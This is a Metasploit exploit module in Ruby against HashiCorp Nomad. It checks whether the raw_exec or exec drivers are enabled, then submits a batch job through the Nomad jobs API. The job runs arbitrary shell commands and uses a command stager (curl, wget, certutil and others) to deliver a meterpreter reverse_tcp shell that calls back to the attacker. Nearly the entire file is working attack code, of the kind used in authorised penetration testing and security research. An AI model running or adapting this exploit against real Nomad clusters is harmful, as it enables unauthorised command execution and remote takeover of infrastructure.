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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'HashiCorp Nomad Remote Command Execution',
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        'Description' => %q{
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          Create a batch job on HashiCorp's Nomad service to spawn a shell. The default option
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          is to use the 'raw_exec' driver, which runs with high privileges. Development servers
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          and client's explicitly enabling the 'raw_exec' plugin can spawn these type of jobs.
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          Regular 'exec' jobs can be created in a similar fashion at a lower privilege level.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Wyatt Dahlenburg (@wdahlenb)',
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        ],
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        'References' => [
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          [ 'URL', 'https://www.nomadproject.io/' ]
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        ],
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        'Targets' => [
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          [
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            'Linux',
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            {
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              'Platform' => 'linux',
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              'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'],
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              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'WfsDelay' => 10 }
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            }
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          ],
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          [
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            'Windows',
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            {
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              'Platform' => 'win',
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              'CmdStagerFlavor' => [ 'psh_invokewebrequest', 'certutil', 'vbs' ],
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              'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'WfsDelay' => 10 }
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            }
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          ]
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        ],
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        'Payload' => {},
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        'Privileged' => false,
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2021-05-17',
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
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          'Reliability' => [REPEATABLE_SESSION]
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
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        OptString.new('DATACENTER', [true, 'The datacenter to run against', 'dc1']),
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        OptString.new('JOB_NAME', [true, 'Name of job to run (default random)', '']),
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        OptString.new('JOB_TYPE', [true, 'Driver (raw_exec or exec)', 'raw_exec']),
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        Opt::RPORT(4646),
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        OptString.new('TARGETURI', [true, 'The base path', '/']),
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        OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false])
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      ]
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    )
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  end
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  def check
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),
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      'headers' => {
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        'X-Nomad-Token' => datastore['ACL_TOKEN']
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      }
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    })
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    unless res
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      vprint_error 'Connection failed'
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      return CheckCode::Unknown
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    end
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    unless res.code == 200
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      vprint_error 'Unexpected reply'
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      return CheckCode::Safe
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    end
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    agent_info = JSON.parse(res.body)
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    if agent_info['config']['Plugins']
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      agent_info['config']['Plugins'].each do |plugin|
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        if plugin['Name'] == 'raw_exec' && plugin['Config']['enabled'] == true
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          return CheckCode::Vulnerable
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        end
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      end
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    end
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    if agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == 'true' || agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == '1'
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      return CheckCode::Vulnerable
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    end
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    if datastore['JOB_TYPE'] == 'raw_exec' && agent_info['config']['Client']['DisableRemoteExec'] == false
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      print_status 'raw_exec doesn\'t appear to be supported. Try setting JOB_TYPE to exec instead.'
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      return CheckCode::Appears
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    elsif datastore['JOB_TYPE'] == 'exec' && agent_info['config']['Client']['DisableRemoteExec'] == false
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      return CheckCode::Vulnerable
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    end
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    CheckCode::Safe
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  rescue JSON::ParserError
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    vprint_error 'Failed to parse JSON output.'
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    return CheckCode::Unknown
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  end
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  def execute_command(cmd, _opts = {})
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    uri = target_uri.path
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    job_name = datastore['JOB_NAME'] == '' ? Rex::Text.rand_text_alpha(5..10) : datastore['JOB_NAME']
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    print_status("Creating job '#{job_name}'")
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    case target.name
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    when /Linux/
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      arg1 = 'sh'
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      arg2 = '-c'
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    when /Windows/
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      arg1 = 'cmd.exe'
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      arg2 = '/c'
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    end
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    res = send_request_cgi({
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      'method' => 'PUT',
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      'uri' => normalize_uri(uri, 'v1/jobs'),
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      'headers' => {
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        'X-Nomad-Token' => datastore['ACL_TOKEN']
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      },
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      'ctype' => 'application/json',
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      'data' => {
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        Job: {
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          ID: job_name,
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          Name: job_name,
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          Type: 'batch',
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          Datacenters: [datastore['DATACENTER']],
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          TaskGroups: [
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            {
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              Name: job_name,
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              Count: 1,
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              Tasks: [
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                {
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                  Name: job_name,
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                  Driver: datastore['JOB_TYPE'],
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                  User: '',
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                  Config: {
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                    command: arg1,
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                    args: [
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                      arg2,
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                      cmd.to_s
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                    ]
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                  },
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                  Resources: {
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                    CPU: 500,
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                    MemoryMB: 256
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                  },
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                  LogConfig: {
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                    MaxFiles: 1,
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                    MaxFileSizeMB: 1
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                  }
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                }
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              ],
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              RestartPolicy: {
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                Attempts: 0
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              },
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              EphemeralDisk: {
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                SizeMB: 300
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              }
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            }
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          ]
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        }
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      }.to_json
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    })
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    unless res && res.code == 200
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      fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Nomad API.')
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    end
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    job_info = JSON.parse(res.body)
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    eval_id = job_info['EvalID']
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    print_status("Job '#{job_name}' successfully created as '#{eval_id}'.")
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    print_status("Waiting for job '#{job_name}' to trigger")
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  rescue JSON::ParserError
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    vprint_error 'Failed to parse JSON output.'
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  end
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  def exploit
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    execute_cmdstager
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  end
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end
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